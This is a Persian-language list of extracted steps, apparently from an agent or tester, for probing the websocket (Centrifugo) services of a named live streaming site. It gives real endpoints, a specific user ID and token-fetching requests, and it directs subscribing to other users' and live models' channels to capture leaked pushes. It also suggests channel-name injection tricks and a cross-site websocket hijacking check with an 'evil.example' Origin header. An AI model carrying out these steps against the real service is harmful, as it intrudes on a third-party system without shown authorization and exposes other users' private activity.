مراحل استخراج‌شده
  1. ۱‏دو سرویس Centrifugo روی همان هویت JWT ‏(sub=290774867):
  2. ۲‏‏`wss://websocket-sp-v6.stripchat.com/connection/websocket` — Centrifugo 6.7.2 OSS. دستورهای JSON خط-جدید-جداشده در یک فریم متنی کار می‌کنند (connect+subscribe+history دسته‌ای در یک --message تکی).
  3. ۳‏‏`wss://websocket-apps.stripchat.com/connection/websocket?cf_protocol_version=v2` — Centrifugo 4.1.5. پارامتر کوئری `?cf_protocol_version=v2` اجباری است — بدون آن سرور بعد از فریم اول می‌بندد (close مربوط به ۴۴ بایتی).
  4. ۴‏توکن‌های WS تازه به‌ازای-کاربر: `GET /api/front/v3/config/initial-dynamic?requestPath=/` ‏(به کوکی session نیاز دارد) ← `initialDynamic.websocket.token` ‏(sp) و `initialDynamic.websocketApps.token` ‏(apps). payload مربوط به JWT `{"sub":"<uid>","info":{"isGuest":false,"userId":<uid>}}`.
  5. ۵‏‏bootstrap مربوط به guest `GET /api/vr/v3/config/initial` مقدار cometAuth مهمان صادر می‌کند — توکن‌های مهمان connect بسته می‌گیرند (به توکن کاربر واقعی نیاز است).
  6. ۶‏capture داده: به کانال‌های شلوغ subscribe کن (کانال‌های user/broadcast مدل‌های زنده — idهای مدل آنلاین را از `GET /api/front/v2/models?limit=N&primaryTag=girls` بگیر بدون session، با session ۴۰۱ می‌دهد) و با --max-messages بالا برای کل پنجره‌ی ابزار نگه‌دار؛ هر فریم `{"push":...}` = نشت publication ← یافته را فوراً ثبت کن.
  7. ۷‏trigger رویداد-خودی: به `user290774867` خودت روی apps subscribe کن، بعد اکشن authenticated کم-اثر انجام بده (تاگل favorite، تغییر تنظیمات) و برای push نگاه کن — اثبات می‌کند کانال رویدادهای زنده حمل می‌کند که subscribe متقاطع-کاربر را باگ حریم‌خصوصی واقعی می‌کند.
  8. ۸‏زاویه‌های تشدید: کانال‌های subscribe_token سمت‌سرور (کانال‌های private مربوط به Centrifugo معمولاً به توکن به‌ازای-کانال نیاز دارند — اینکه این‌ها ندارند = باگ)؛ کانال‌های `user*`+تزریق suffix امتحان کن (`user290774866extra`، `user*`، `user`)، ترفندهای حروف کانال، کانال‌های کنترلی `$.`-پیشونددار، `disconnect`/`unsubscribe` کلاینت‌های دیگر سمت-کلاینت ممکن نیست ولی رفتارهای سرور را یادداشت کن.
  9. ۹‏زاویه‌ی CSWSH قبلاً مستند شده: handshake مربوط به sp-v6 مقدار Origin را نادیده می‌گیرد (۱۰۱ بدون چک Origin) — اگر سایت handshake مربوط به WS را از طریق کوکی ambient روی هر مسیر احراز کند، با `--header 'Origin: https://evil.example'` دوباره verify کن که آیا ۱۰۱ باقی می‌ماند (session کوکی-محور است ← CSWSH به صفحه‌ی مهاجم اجازه می‌دهد استریم را به‌عنوان قربانی باز کند).